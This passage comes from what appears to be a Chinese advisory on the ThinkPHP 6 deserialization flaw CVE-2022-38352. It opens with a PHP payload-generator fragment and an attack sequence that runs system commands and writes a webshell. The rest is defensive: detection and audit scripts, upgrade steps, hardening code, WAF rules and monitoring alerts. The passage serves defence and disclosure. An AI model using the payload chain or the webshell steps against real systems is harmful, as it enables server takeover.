$request = new think\Request();
$store = new think\session\Store($request);
$channel = new think\log\Channel($store);
$url = new think\route\Url($channel);
$model = new think\model\Pivot($url);
// 生成 Payload
$payload = urlencode(serialize($model));
echo "Payload: " . $payload . "\n";
echo "Length: " . strlen($payload) . "\n";
}
3. 攻击场景与影响评估
3.1 攻击流程时序
操作系统 PHP-FPM ThinkPHP 6.0.13 业务应用 攻击者 操作系统 PHP-FPM ThinkPHP 6.0.13 业务应用 攻击者 #mermaid-svg-7lhA7fIRrkFQql6K{font-family:"trebuchet ms",verdana,arial,sans-serif;font-size:16px;fill:#333;}@keyframes edge-animation-frame{from{stroke-dashoffset:0;}}@keyframes dash{to{stroke-dashoffset:0;}}#mermaid-svg-7lhA7fIRrkFQql6K .edge-animation-slow{stroke-dasharray:9,5!important;stroke-dashoffset:900;animation:dash 50s linear infinite;stroke-linecap:round;}#mermaid-svg-7lhA7fIRrkFQql6K .edge-animation-fast{stroke-dasharray:9,5!important;stroke-dashoffset:900;animation:dash 20s linear infinite;stroke-linecap:round;}#mermaid-svg-7lhA7fIRrkFQql6K .error-icon{fill:#552222;}#mermaid-svg-7lhA7fIRrkFQql6K .error-text{fill:#552222;stroke:#552222;}#mermaid-svg-7lhA7fIRrkFQql6K .edge-thickness-normal{stroke-width:1px;}#mermaid-svg-7lhA7fIRrkFQql6K .edge-thickness-thick{stroke-width:3.5px;}#mermaid-svg-7lhA7fIRrkFQql6K .edge-pattern-solid{stroke-dasharray:0;}#mermaid-svg-7lhA7fIRrkFQql6K .edge-thickness-invisible{stroke-width:0;fill:none;}#mermaid-svg-7lhA7fIRrkFQql6K .edge-pattern-dashed{stroke-dasharray:3;}#mermaid-svg-7lhA7fIRrkFQql6K .edge-pattern-dotted{stroke-dasharray:2;}#mermaid-svg-7lhA7fIRrkFQql6K .marker{fill:#333333;stroke:#333333;}#mermaid-svg-7lhA7fIRrkFQql6K .marker.cross{stroke:#333333;}#mermaid-svg-7lhA7fIRrkFQql6K svg{font-family:"trebuchet ms",verdana,arial,sans-serif;font-size:16px;}#mermaid-svg-7lhA7fIRrkFQql6K p{margin:0;}#mermaid-svg-7lhA7fIRrkFQql6K .actor{stroke:hsl(259.6261682243, 59.7765363128%, 87.9019607843%);fill:#ECECFF;}#mermaid-svg-7lhA7fIRrkFQql6K text.actor>tspan{fill:black;stroke:none;}#mermaid-svg-7lhA7fIRrkFQql6K .actor-line{stroke:hsl(259.6261682243, 59.7765363128%, 87.9019607843%);}#mermaid-svg-7lhA7fIRrkFQql6K .innerArc{stroke-width:1.5;stroke-dasharray:none;}#mermaid-svg-7lhA7fIRrkFQql6K .messageLine0{stroke-width:1.5;stroke-dasharray:none;stroke:#333;}#mermaid-svg-7lhA7fIRrkFQql6K .messageLine1{stroke-width:1.5;stroke-dasharray:2,2;stroke:#333;}#mermaid-svg-7lhA7fIRrkFQql6K #arrowhead path{fill:#333;stroke:#333;}#mermaid-svg-7lhA7fIRrkFQql6K .sequenceNumber{fill:white;}#mermaid-svg-7lhA7fIRrkFQql6K #sequencenumber{fill:#333;}#mermaid-svg-7lhA7fIRrkFQql6K #crosshead path{fill:#333;stroke:#333;}#mermaid-svg-7lhA7fIRrkFQql6K .messageText{fill:#333;stroke:none;}#mermaid-svg-7lhA7fIRrkFQql6K .labelBox{stroke:hsl(259.6261682243, 59.7765363128%, 87.9019607843%);fill:#ECECFF;}#mermaid-svg-7lhA7fIRrkFQql6K .labelText,#mermaid-svg-7lhA7fIRrkFQql6K .labelText>tspan{fill:black;stroke:none;}#mermaid-svg-7lhA7fIRrkFQql6K .loopText,#mermaid-svg-7lhA7fIRrkFQql6K .loopText>tspan{fill:black;stroke:none;}#mermaid-svg-7lhA7fIRrkFQql6K .loopLine{stroke-width:2px;stroke-dasharray:2,2;stroke:hsl(259.6261682243, 59.7765363128%, 87.9019607843%);fill:hsl(259.6261682243, 59.7765363128%, 87.9019607843%);}#mermaid-svg-7lhA7fIRrkFQql6K .note{stroke:#aaaa33;fill:#fff5ad;}#mermaid-svg-7lhA7fIRrkFQql6K .noteText,#mermaid-svg-7lhA7fIRrkFQql6K .noteText>tspan{fill:black;stroke:none;}#mermaid-svg-7lhA7fIRrkFQql6K .activation0{fill:#f4f4f4;stroke:#666;}#mermaid-svg-7lhA7fIRrkFQql6K .activation1{fill:#f4f4f4;stroke:#666;}#mermaid-svg-7lhA7fIRrkFQql6K .activation2{fill:#f4f4f4;stroke:#666;}#mermaid-svg-7lhA7fIRrkFQql6K .actorPopupMenu{position:absolute;}#mermaid-svg-7lhA7fIRrkFQql6K .actorPopupMenuPanel{position:absolute;fill:#ECECFF;box-shadow:0px 8px 16px 0px rgba(0,0,0,0.2);filter:drop-shadow(3px 5px 2px rgb(0 0 0 / 0.4));}#mermaid-svg-7lhA7fIRrkFQql6K .actor-man line{stroke:hsl(259.6261682243, 59.7765363128%, 87.9019607843%);fill:#ECECFF;}#mermaid-svg-7lhA7fIRrkFQql6K .actor-man circle,#mermaid-svg-7lhA7fIRrkFQql6K line{stroke:hsl(259.6261682243, 59.7765363128%, 87.9019607843%);fill:#ECECFF;stroke-width:2px;}#mermaid-svg-7lhA7fIRrkFQql6K :root{--mermaid-font-family:"trebuchet ms",verdana,arial,sans-serif;} 业务代码 unserialize(base64_decode($_POST'data')) 反序列化 think\Model\Pivot 对象 Model::__destruct 触发 触发 relation 写入链 遍历 data 调用 call_user_func Request::param 触发 filter 二次利用:写入 Webshell 持久化访问 POST /api/cache/load data=<base64_payload> 实例化 Model lazySave=true 调用 save() think\route\Url::__toString think\log\Channel::__call think\session\Store::save call_user_func(Request, 'param') call_user_func('system', 'whoami') 执行 system('whoami') 返回 "www-data\n" 返回执行结果 反序列化完成 HTTP 200 + 命令输出 POST data=<payload_filter=file_put_contents> "file_put_contents('shell.php', shell_code)" POST /shell.php 1=system('id')
3.2 典型攻击场景
场景一:缓存系统反序列化入口
text
攻击路径:
1. 攻击者发现目标使用 ThinkPHP 6.0.13
2. 探测 /api/cache/load 接口,发现接收 base64 数据
3. 业务代码:$data = unserialize(base64_decode($_POST['data']));
4. 提交 CVE-2022-38352 Payload
5. 反序列化触发 POP 链,执行 whoami
6. 修改 Payload 为 file_put_contents 写入 Webshell
7. 通过 Webshell 持久化访问
场景二:Session 反序列化利用
text
攻击路径:
1. 目标使用自定义 Session 处理器
2. Session 数据存储在文件中,使用 PHP 序列化格式
3. 攻击者通过其他漏洞(如 LFI)读取 Session 文件
4. 构造恶意 Session 数据写入
5. 下次 Session 加载时触发反序列化
6. POP 链执行,服务器被攻破
场景三:队列任务反序列化
text
攻击路径:
1. 目标使用 ThinkPHP 队列系统
2. 任务数据通过 unserialize 还原
3. 攻击者通过其他入口(如未授权 API)注入恶意任务
4. 队列 worker 反序列化任务时触发
5. POP 链执行,worker 进程被控制
3.3 影响评估
| 影响维度 | 评估 | 说明 |
|---|---|---|
| 机密性 | 严重 | 可读取任意文件、配置、数据库凭证 |
| 完整性 | 严重 | 可写入 Webshell、篡改业务数据 |
| 可用性 | 严重 | 可删除文件、关停服务 |
| 攻击门槛 | 中 | 需要业务代码存在 unserialize 入口 |
| 利用难度 | 低 | 公开 PoC,修改参数即可 |
| 横向风险 | 极高 | 可读取数据库凭证、SSH 密钥 |
| 修复紧迫度 | 极高 | EPSS 92.56%,被利用概率极高 |
4. 检测:如何判断是否已被利用
4.1 漏洞利用迹象
| 检测维度 | 异常迹象 | 检测方法 |
|---|---|---|
| 请求体 | POST 数据含 O:N:"think 序列化特征 |
抓取请求体或 WAF 日志 |
| 请求头 | Content-Type 异常(非 form/json) | Nginx access.log |
| 文件异常 | public 目录出现未知 .php 文件 |
文件完整性监控 |
| 进程异常 | www-data 执行 system、whoami |
auditd / 进程监控 |
| 错误日志 | PHP Fatal: Allowed memory size exhausted | /var/log/php-fpm.log |
| Session 文件 | /var/lib/php/sessions 文件大小异常增长 | 文件监控 |
| 缓存文件 | runtime/cache 目录出现非业务数据 | 文件监控 |
4.2 日志检测脚本
从 Nginx 访问日志和 PHP 错误日志中识别反序列化攻击。
bash
#!/bin/bash
# thinkphp_deserialization_detect.sh --- CVE-2022-38352 攻击检测
# 用法: ./thinkphp_deserialization_detect.sh [nginx日志路径] [php-fpm日志路径]
NGINX_LOG="${1:-/var/log/nginx/access.log}"
PHP_LOG="${2:-/var/log/php8.x-fpm.log}"
echo "===== CVE-2022-38352 反序列化攻击检测 ====="
echo ""
# 1. 检查序列化数据特征
echo "[1] 序列化数据特征检测"
if [ -f "$NGINX_LOG" ]; then
SERIAL_COUNT=$(grep -cE 'O:[0-9]+:"think' "$NGINX_LOG" 2>/dev/null || echo 0)
if [ "$SERIAL_COUNT" -gt 0 ]; then
echo " 🔴 发现 $SERIAL_COUNT 条序列化对象注入攻击"
echo " 攻击源 IP:"
grep -E 'O:[0-9]+:"think' "$NGINX_LOG" | awk '{print $1}' | sort | uniq -c | sort -rn | head -5
else
echo " ✅ 未发现序列化对象注入"
fi
fi
# 2. 检查 base64 编码的 Payload
echo ""
echo "[2] Base64 编码 Payload 检测"
if [ -f "$NGINX_LOG" ]; then
B64_COUNT=$(grep -cE '(POST|data=)[^&]*Tzoz[0-9]' "$NGINX_LOG" 2>/dev/null || echo 0)
if [ "$B64_COUNT" -gt 0 ]; then
echo " 🔴 发现 $B64_COUNT 条 Base64 编码的反序列化 Payload"
else
echo " ✅ 未发现 Base64 编码 Payload"
fi
fi
# 3. 检查 PHP 错误日志中的反序列化异常
echo ""
echo "[3] PHP 错误日志异常检测"
if [ -f "$PHP_LOG" ]; then
ERROR_COUNT=$(grep -cE "(unserialize|__destruct|Psr6Cache|think\\\\Model)" "$PHP_LOG" 2>/dev/null || echo 0)
if [ "$ERROR_COUNT" -gt 0 ]; then
echo " 🔴 发现 $ERROR_COUNT 条反序列化相关错误"
echo " 错误样本:"
grep -E "(unserialize|__destruct|Psr6Cache)" "$PHP_LOG" | tail -5
else
echo " ✅ 未发现反序列化错误"
fi
fi
# 4. 检查可疑的 file_put_contents 调用
echo ""
echo "[4] Webshell 写入检测"
if [ -f "$NGINX_LOG" ]; then
SHELL_COUNT=$(grep -cE "file_put_contents" "$NGINX_LOG" 2>/dev/null || echo 0)
if [ "$SHELL_COUNT" -gt 0 ]; then
echo " 🔴 发现 $SHELL_COUNT 条 Webshell 写入尝试"
else
echo " ✅ 未发现 Webshell 写入"
fi
fi
echo ""
echo "===== 检测完成 ====="
4.3 业务代码反序列化入口扫描
CVE-2022-38352 的利用前提是业务代码存在 unserialize 入口,必须先识别这些入口。
bash
#!/bin/bash
# unserialize_audit.sh --- 业务代码反序列化入口审计
# 用法: ./unserialize_audit.sh [项目根目录]
PROJECT_ROOT="${1:-/var/www/html}"
echo "===== 业务代码反序列化入口审计 ====="
echo "扫描目录: $PROJECT_ROOT"
echo ""
# 1. 扫描 unserialize 调用
echo "[1] unserialize() 调用扫描"
UNSERIALIZE_FILES=$(grep -rn "unserialize\s*(" "$PROJECT_ROOT" --include="*.php" 2>/dev/null | \
grep -vE "vendor/|tests/|/runtime/" | head -30)
if [ -n "$UNSERIALIZE_FILES" ]; then
echo " 🔴 发现 unserialize 调用:"
echo "$UNSERIALIZE_FILES"
else
echo " ✅ 未发现 unserialize 调用"
fi
# 2. 扫描危险的 Session 处理
echo ""
echo "[2] 自定义 Session 处理器扫描"
SESSION_FILES=$(grep -rn "session_set_save_handler\|SessionHandlerInterface" "$PROJECT_ROOT" --include="*.php" 2>/dev/null | \
grep -vE "vendor/|tests/" | head -10)
if [ -n "$SESSION_FILES" ]; then
echo " ⚠️ 发现自定义 Session 处理器(需检查是否反序列化):"
echo "$SESSION_FILES"
else
echo " ✅ 未发现自定义 Session 处理器"
fi
# 3. 扫描缓存文件读取
echo ""
echo "[3] 缓存文件读取扫描"
CACHE_FILES=$(grep -rnE "file_get_contents.*cache|cache.*file_get_contents" "$PROJECT_ROOT" --include="*.php" 2>/dev/null | \
grep -vE "vendor/|tests/" | head -10)
if [ -n "$CACHE_FILES" ]; then
echo " ⚠️ 发现缓存文件读取(需检查是否反序列化):"
echo "$CACHE_FILES"
else
echo " ✅ 未发现可疑缓存读取"
fi
# 4. 扫描 allowed_classes 配置
echo ""
echo "[4] allowed_classes 配置检查"
SAFE_FILES=$(grep -rn "allowed_classes" "$PROJECT_ROOT" --include="*.php" 2>/dev/null | \
grep -vE "vendor/|tests/" | head -10)
if [ -n "$SAFE_FILES" ]; then
echo " ✅ 发现 allowed_classes 配置(安全实践):"
echo "$SAFE_FILES"
else
echo " ⚠️ 未发现 allowed_classes 配置,建议在 unserialize 调用处添加"
fi
echo ""
echo "===== 审计完成 ====="
4.4 版本自查脚本
bash
#!/bin/bash
# thinkphp6_version_check.sh --- ThinkPHP 6.x 版本批量自查
# 用法: 将 ThinkPHP 6 项目路径列表写入 thinkphp6_paths.txt
VULN=false
while IFS= read -r path; do
[ -z "$path" ] && continue
echo "检查: $path"
# 通过 composer.lock 识别版本
LOCK_FILE="$path/composer.lock"
if [ -f "$LOCK_FILE" ]; then
VERSION=$(grep -A2 '"name": "topthink/framework"' "$LOCK_FILE" | grep -oP '"version": "\K[^"]+' | head -1)
if [ -n "$VERSION" ]; then
echo " 当前版本: $VERSION"
# 检查是否受影响(6.0.0-6.0.13)
PATCH=$(echo "$VERSION" | grep -oP '\d+$')
if echo "$VERSION" | grep -q "^v\?6\.0\." && [ "$PATCH" -lt 14 ] 2>/dev/null; then
echo " 🔴 受 CVE-2022-38352 影响,请升级到 6.0.14+"
VULN=true
else
echo " ✅ 已修复或不受影响"
fi
fi
else
echo " ⚠️ 未找到 composer.lock,请手动检查"
fi
done < thinkphp6_paths.txt
if [ "$VULN" = true ]; then
echo ""
echo "⚠️ 发现受影响实例,请立即升级!"
fi
5. 修复方案
5.1 升级 ThinkPHP(推荐)
升级到 6.0.14+ 是最彻底的修复方案,6.0.14 中 League\Flysystem 升级到 1.1.2+,移除了有问题的 Psr6Cache 反序列化利用链。
修复版本对照表:
| 版本线 | 受影响范围 | 修复版本 |
|---|---|---|
| ThinkPHP 6.0.x | 6.0.0 - 6.0.13 | 6.0.14+ |
| ThinkPHP 6.1.x | 6.1.0 - 6.1.2 | 6.1.3+ |
| ThinkPHP 8.x | 不受影响 | --- |
通过 Composer 升级:
bash
# 进入项目根目录
cd /var/www/your-thinkphp6-project
# 备份当前 composer.json 和 composer.lock
cp composer.json composer.json.bak
cp composer.lock composer.lock.bak
# 升级到 6.0.14
composer require topthink/framework:^6.0.14 --update-with-all-dependencies
# 或者升级到 6.1.x(推荐,长期维护)
composer require topthink/framework:^6.1.0 --update-with-all-dependencies
# 验证版本
php think version
# 预期输出: v6.0.14 或 v6.1.x
# 验证修复:检查 Psr6Cache 是否仍可被利用
php -r "
require 'vendor/autoload.php';
\$obj = new League\Flysystem\Cached\Storage\Psr6Cache(new MockCache());
echo serialize(\$obj);
" | head -c 200
升级后验证:
bash
# 1. 版本验证
php think version
# 预期: v6.0.14+
# 2. 业务回归测试
php think test
# 3. PoC 验证(应无法触发)
# 构造 Payload 并通过业务接口提交,验证命令执行是否被拦截
5.2 业务代码加固(强烈推荐)
5.2.1 禁用 unserialize,改用 JSON
从根因消除反序列化攻击面。JSON 不支持对象实例化,从根本上杜绝 POP 链。
php
// ❌ 危险代码:使用 unserialize
class CacheService {
public function get($key) {
$data = file_get_contents("/tmp/cache/$key");
return unserialize($data); // 危险!可能触发 POP 链
}
public function set($key, $value) {
$data = serialize($value);
file_put_contents("/tmp/cache/$key", $data);
}
}
// ✅ 安全代码:使用 JSON
class CacheService {
public function get($key) {
$data = file_get_contents("/tmp/cache/$key");
return json_decode($data, true); // 安全:仅返回数组/标量
}
public function set($key, $value) {
$data = json_encode($value);
file_put_contents("/tmp/cache/$key", $data);
}
}
5.2.2 必须使用 unserialize 时限制 allowed_classes
PHP 7+ 的
unserialize()支持allowed_classes参数,限制可实例化的类。
php
// ✅ 安全实践:白名单允许的类
class CacheService {
// 仅允许这些类被反序列化
private $allowedClasses = [
\app\model\User::class,
\app\model\Order::class,
];
public function get($key) {
$data = file_get_contents("/tmp/cache/$key");
// 仅允许白名单类,框架类 think\Model 等被拒绝
return unserialize($data, ['allowed_classes' => $this->allowedClasses]);
}
}
// ✅ 更安全:完全禁用对象实例化
class CacheService {
public function get($key) {
$data = file_get_contents("/tmp/cache/$key");
// allowed_classes = false 完全禁用对象,仅返回 __PHP_Incomplete_Class
return unserialize($data, ['allowed_classes' => false]);
}
}
5.2.3 输入数据签名验证
对序列化数据做 HMAC 签名,确保数据未被篡改。
php
class SecureCache {
private $secretKey;
public function __construct() {
// 从环境变量读取密钥
$this->secretKey = getenv('CACHE_HMAC_KEY');
if (empty($this->secretKey)) {
throw new \RuntimeException('CACHE_HMAC_KEY 未配置');
}
}
public function set($key, $value) {
$data = serialize($value);
$signature = hash_hmac('sha256', $data, $this->secretKey);
// 存储格式:签名 + 数据
$payload = $signature . '|' . base64_encode($data);
file_put_contents("/tmp/cache/$key", $payload);
}
public function get($key) {
$payload = file_get_contents("/tmp/cache/$key");
if (!$payload || strpos($payload, '|') === false) {
return null;
}
list($signature, $data) = explode('|', $payload, 2);
$data = base64_decode($data);
// 验证签名
$expectedSig = hash_hmac('sha256', $data, $this->secretKey);
if (!hash_equals($expectedSig, $signature)) {
// 签名校验失败,数据可能被篡改
throw new \RuntimeException('缓存数据签名校验失败');
}
// 签名验证通过,安全反序列化
return unserialize($data, ['allowed_classes' => false]);
}
}
5.3 WAF 规则
5.3.1 Nginx 拦截规则
在 Nginx 层拦截序列化数据特征,比 PHP 入口更早。
nginx
# /etc/nginx/conf.d/thinkphp-deserialization-waf.conf
# 拦截请求体中的序列化对象特征
# 使用 lua-nginx-module 做请求体检测
location ~ \.php$ {
access_by_lua_block {
local ngx_req = require "ngx.req"
local body = ngx_req.get_body_data()
if body then
-- 检查 think\Model 序列化特征
if string.find(body, 'O:%d+:"think') or
string.find(body, 'think\\Model') or
string.find(body, 'Psr6Cache') or
string.find(body, 'think\\route\\Url') then
ngx.log(ngx.WARN, "Blocked deserialization attack from " .. ngx.var.remote_addr)
ngx.exit(403)
end
-- 检查 Base64 编码的 Payload(Tzoz 开头是 O:N:" 的 base64)
if string.find(body, 'Tzoz%d') then
ngx.log(ngx.WARN, "Blocked base64 deserialization attack from " .. ngx.var.remote_addr)
ngx.exit(403)
end
end
}
fastcgi_pass unix:/run/php/php8.x-fpm.sock;
# ... 其他 fastcgi 配置
}
5.3.2 ModSecurity 规则
apache
# /etc/modsecurity/rules/thinkphp-deserialization.conf
# 规则 1: 拦截 think 命名空间序列化对象
SecRule ARGS|REQUEST_BODY "@rx (?i)O:[0-9]+:\"think\\\\" \
"id:100010,phase:2,deny,status:403,log,msg:'ThinkPHP Deserialization Attack - think namespace'"
# 规则 2: 拦截 Psr6Cache 类
SecRule ARGS|REQUEST_BODY "@rx (?i)Psr6Cache" \
"id:100011,phase:2,deny,status:403,log,msg:'ThinkPHP Deserialization Attack - Psr6Cache'"
# 规则 3: 拦截 think\route\Url 类
SecRule ARGS|REQUEST_BODY "@rx (?i)think\\\\route\\\\Url" \
"id:100012,phase:2,deny,status:403,log,msg:'ThinkPHP Deserialization Attack - Url class'"
# 规则 4: 拦截 Base64 编码的序列化对象
SecRule ARGS|REQUEST_BODY "@rx TzozWzAtOStcIlRo" \
"id:100013,phase:2,deny,status:403,log,msg:'ThinkPHP Deserialization Attack - Base64 encoded'"
# 规则 5: 拦截 call_user_func 配合 system 的 Payload
SecRule ARGS|REQUEST_BODY "@rx (?i)(system|exec|passthru|shell_exec).*whoami|id" \
"id:100014,phase:2,deny,status:403,log,msg:'ThinkPHP Deserialization Attack - command execution'"
5.4 PHP 配置加固
ini
; /etc/php/8.x/fpm/php.ini
; 禁用危险函数(即使被反序列化利用,也无法执行命令)
disable_functions = exec,passthru,shell_exec,system,proc_open,popen,curl_exec,curl_multi_exec,parse_ini_file,show_source
; 限制 open_basedir
open_basedir = /var/www/your-project/:/tmp/
; 禁用远程文件包含
allow_url_include = Off
allow_url_fopen = Off
; 限制 POST 数据大小(防止超大 Payload)
post_max_size = 8M
; 限制文件上传
upload_max_filesize = 2M
; Session 加固
session.serialize_handler = php_serialize
session.use_strict_mode = 1
session.cookie_httponly = 1
session.cookie_samesite = Strict
6. 踩坑记录
6.1 升级到 6.0.14 后 League\Flysystem 兼容性问题
text
现象:
升级到 6.0.14 后,使用 OSS/S3 存储驱动的业务报错:
"Class League\Flysystem\Cached\Storage\Psr6Cache not found"
根因:
6.0.14 升级 League\Flysystem 到 2.x,API 不兼容 1.x。
Psr6Cache 类在 2.x 中被移除/重构。
解决:
1. 评估业务是否真的需要 Psr6Cache 缓存
2. 如果需要,使用 league/flysystem-cached-adapter 包
3. 如果不需要,移除相关代码
4. 业务代码适配 Flysystem 2.x API
教训:
升级前必须检查依赖的破坏性变更,阅读 Upgrade Guide。
6.2 业务代码反序列化入口未修复
text
现象:
升级到 6.0.14 后,安全扫描仍报告反序列化漏洞。
根因:
框架升级了,但业务代码仍存在 unserialize($_POST['data']) 入口。
攻击者可利用其他 POP 链(如 Issue #2793)继续攻击。
解决:
1. 全局扫描业务代码的 unserialize 调用
2. 替换为 json_decode
3. 必须保留时,添加 allowed_classes 限制
4. 加入输入数据签名验证
教训:
框架升级只是修复框架的 POP 链,业务代码的反序列化入口必须独立修复。
6.3 WAF 规则误伤正常 JSON API
text
现象:
配置 WAF 规则 "拦截 O:N:" 后,正常 JSON API 返回 403。
根因:
JSON 数据中可能包含 "O:5:" 这样的字符串(如订单号 ORD5:xxx)。
WAF 规则匹配过于宽松。
解决:
1. 规则改为精确匹配 PHP 序列化格式:O:N:"ClassName"
2. 增加上下文判断:必须同时包含 O:N:" 和 think\\
3. 排除 JSON Content-Type 的请求(JSON 不会被 PHP 反序列化)
教训:
WAF 规则要基于 PHP 序列化格式的精确特征,避免误伤 JSON。
6.4 composer update 升级失败
text
现象:
执行 composer require topthink/framework:^6.0.14 时报错:
"topthink/framework v6.0.14 requires php >=8.0.0, your php version (7.4.x) does not satisfy"
根因:
6.0.14+ 要求 PHP 8.0+,旧业务可能运行在 PHP 7.4。
解决:
1. 同时升级 PHP 到 8.0+
2. 评估业务代码的 PHP 8 兼容性
3. 若无法升级 PHP,使用 6.0.13 + allowed_classes 加固
4. 长期规划迁移到 PHP 8 + ThinkPHP 8
教训:
框架升级常伴随 PHP 版本要求提升,需统一规划。
📊 运维监控与自动化保障
监控项设计
| 监控项 | Prometheus 指标 | 告警阈值 | 检测频率 |
|---|---|---|---|
| ThinkPHP 版本 | thinkphp_version_info |
版本 < 6.0.14 / 6.1.3 | 每小时 |
| 反序列化攻击 | thinkphp_attack_total{type="deserialization"} |
5 分钟内 > 5 次 | 实时 |
| 序列化对象注入 | thinkphp_attack_total{type="object_injection"} |
任意一次即告警 | 实时 |
| Webshell 写入 | thinkphp_attack_total{type="webshell_write"} |
任意一次即告警 | 实时 |
| PHP 反序列化错误 | php_unserialize_error_total |
5 分钟内 > 10 次 | 实时 |
| 业务代码 unserialize 调用 | php_unserialize_call_total |
突增 200% 告警 | 实时 |
| Session 文件大小 | session_file_size_bytes |
单文件 > 10KB 告警 | 每小时 |
Prometheus 告警规则
yaml
# /etc/prometheus/rules/thinkphp-deserialization.yml
groups:
- name: thinkphp-deserialization
rules:
# 规则 1: ThinkPHP 版本过低
- alert: ThinkPHP6OutdatedVersion
expr: thinkphp_version_info{major="6",minor="0",patch!~"(1[4-9]|[2-9][0-9])"} == 1
for: 1h
labels:
severity: critical
cve: CVE-2022-38352
annotations:
summary: "ThinkPHP 6.x 版本过低,存在 CVE-2022-38352 风险"
description: "实例 {{ $labels.instance }} 当前版本 6.0.{{ $labels.patch }},请升级到 6.0.14+"
# 规则 2: 反序列化攻击检测
- alert: ThinkPHPDeserializationAttack
expr: increase(thinkphp_attack_total{type="deserialization"}[5m]) > 5
for: 1m
labels:
severity: critical
cve: CVE-2022-38352
annotations:
summary: "检测到反序列化攻击"
description: "实例 {{ $labels.instance }} 5 分钟内收到 {{ $value }} 次反序列化攻击"
# 规则 3: 序列化对象注入
- alert: ThinkPHPObjectInjection
expr: increase(thinkphp_attack_total{type="object_injection"}[1m]) > 0
for: 0s
labels:
severity: critical
cve: CVE-2022-38352
annotations:
summary: "检测到序列化对象注入"
description: "实例 {{ $labels.instance }} 检测到 think\\ 命名空间对象注入攻击"
# 规则 4: Webshell 写入尝试
- alert: ThinkPHPWebshellWrite
expr: increase(thinkphp_attack_total{type="webshell_write"}[1m]) > 0
for: 0s
labels:
severity: critical
cve: CVE-2022-38352
annotations:
summary: "检测到 Webshell 写入尝试"
description: "实例 {{ $labels.instance }} 检测到通过反序列化写入 Webshell"
# 规则 5: PHP 反序列化错误激增
- alert: PHPUnserializeErrorSpike
expr: increase(php_unserialize_error_total[5m]) > 10
for: 2m
labels:
severity: warning
annotations:
summary: "PHP 反序列化错误激增"
description: "实例 {{ $labels.instance }} 5 分钟内有 {{ $value }} 次反序列化错误,可能是攻击探测"
# 规则 6: Session 文件异常
- alert: SessionFileAnomaly
expr: session_file_size_bytes > 10240
for: 5m
labels:
severity: warning
annotations:
summary: "Session 文件大小异常"
description: "Session 文件 {{ $labels.file }} 大小 {{ $value }} 字节,可能被注入恶意数据"
# 规则 7: 业务 unserialize 调用突增
- alert: UnserializeCallSpike
expr: rate(php_unserialize_call_total[5m]) > 10
for: 5m
labels:
severity: warning
annotations:
summary: "unserialize 调用频率异常"
description: "实例 {{ $labels.instance }} unserialize 调用频率 {{ $value }} 次/秒,可能是攻击或性能问题"
自动化巡检脚本
bash
#!/bin/bash
# thinkphp6_security_patrol.sh --- ThinkPHP 6.x 安全巡检
# 用法: 由 crontab 每日执行
THINKPHP_ROOT="${1:-/var/www/html}"
REPORT_FILE="/tmp/thinkphp6_patrol_$(date +%Y%m%d).log"
ALERT_EMAIL="${ALERT_EMAIL:-ops@example.com}"
echo "===== ThinkPHP 6.x 安全巡检报告 $(date) =====" > "$REPORT_FILE"
echo "项目根目录: $THINKPHP_ROOT" >> "$REPORT_FILE"
echo "" >> "$REPORT_FILE"
# 1. 版本检查
echo "[1] ThinkPHP 版本检查" >> "$REPORT_FILE"
LOCK_FILE="$THINKPHP_ROOT/composer.lock"
if [ -f "$LOCK_FILE" ]; then
VERSION=$(grep -A2 '"name": "topthink/framework"' "$LOCK_FILE" | grep -oP '"version": "\K[^"]+' | head -1)
echo " 当前版本: $VERSION" >> "$REPORT_FILE"
if echo "$VERSION" | grep -qE "^v?6\.0\.[0-9]$|^v?6\.0\.1[0-3]$"; then
echo " 🔴 严重: 版本受 CVE-2022-38352 影响,请升级到 6.0.14+" >> "$REPORT_FILE"
SEVERITY=critical
elif echo "$VERSION" | grep -qE "^v?6\.1\.[0-2]$"; then
echo " 🔴 严重: 版本受 CVE-2022-38352 影响,请升级到 6.1.3+" >> "$REPORT_FILE"
SEVERITY=critical
else
echo " ✅ 版本已修复" >> "$REPORT_FILE"
fi
fi
echo "" >> "$REPORT_FILE"
# 2. 业务代码反序列化入口审计
echo "[2] 反序列化入口审计" >> "$REPORT_FILE"
UNSERIALIZE_COUNT=$(grep -rn "unserialize\s*(" "$THINKPHP_ROOT/app" --include="*.php" 2>/dev/null | \
grep -vE "vendor/|tests/" | wc -l)
echo " 发现 unserialize 调用: $UNSERIALIZE_COUNT 处" >> "$REPORT_FILE"
if [ "$UNSERIALIZE_COUNT" -gt 0 ]; then
echo " 调用位置:" >> "$REPORT_FILE"
grep -rn "unserialize\s*(" "$THINKPHP_ROOT/app" --include="*.php" 2>/dev/null | \
grep -vE "vendor/|tests/" | head -10 >> "$REPORT_FILE"
# 检查是否有 allowed_classes
SAFE_COUNT=$(grep -rn "allowed_classes" "$THINKPHP_ROOT/app" --include="*.php" 2>/dev/null | wc -l)
echo " 使用 allowed_classes 的调用: $SAFE_COUNT 处" >> "$REPORT_FILE"
if [ "$SAFE_COUNT" -lt "$UNSERIALIZE_COUNT" ]; then
echo " ⚠️ 部分 unserialize 未使用 allowed_classes 限制" >> "$REPORT_FILE"
SEVERITY=${SEVERITY:-warning}
fi
fi
echo "" >> "$REPORT_FILE"
# 3. WAF 规则验证
echo "[3] WAF 规则验证" >> "$REPORT_FILE"
NGINX_WAF=$(grep -c "think\\\\" /etc/nginx/conf.d/*.conf 2>/dev/null || echo 0)
MODSEC_RULES=$(grep -c "Psr6Cache" /etc/modsecurity/rules/*.conf 2>/dev/null || echo 0)
echo " Nginx WAF 规则数: $NGINX_WAF" >> "$REPORT_FILE"
echo " ModSecurity 规则数: $MODSEC_RULES" >> "$REPORT_FILE"
echo "" >> "$REPORT_FILE"
# 4. PHP 配置检查
echo "[4] PHP 配置检查" >> "$REPORT_FILE"
DISABLE_FUNCTIONS=$(php -i 2>/dev/null | grep "disable_functions" | head -1)
echo " $DISABLE_FUNCTIONS" >> "$REPORT_FILE"
if ! echo "$DISABLE_FUNCTIONS" | grep -qE "system|exec|passthru"; then
echo " ⚠️ 未禁用 system/exec/passthru 等危险函数" >> "$REPORT_FILE"
SEVERITY=${SEVERITY:-warning}
fi
echo "" >> "$REPORT_FILE"
# 5. Webshell 扫描
echo "[5] Webshell 扫描" >> "$REPORT_FILE"
SHELL_FILES=$(grep -rlE "(eval\s*\(|base64_decode\s*\(|assert\s*\()" "$THINKPHP_ROOT/public" --include="*.php" 2>/dev/null | wc -l)
echo " public 目录可疑文件: $SHELL_FILES 个" >> "$REPORT_FILE"
echo "" >> "$REPORT_FILE"
# 6. 推送报告
echo "===== 巡检完成 =====" >> "$REPORT_FILE"
cat "$REPORT_FILE"
# 严重问题发送告警
if [ "${SEVERITY:-}" = "critical" ]; then
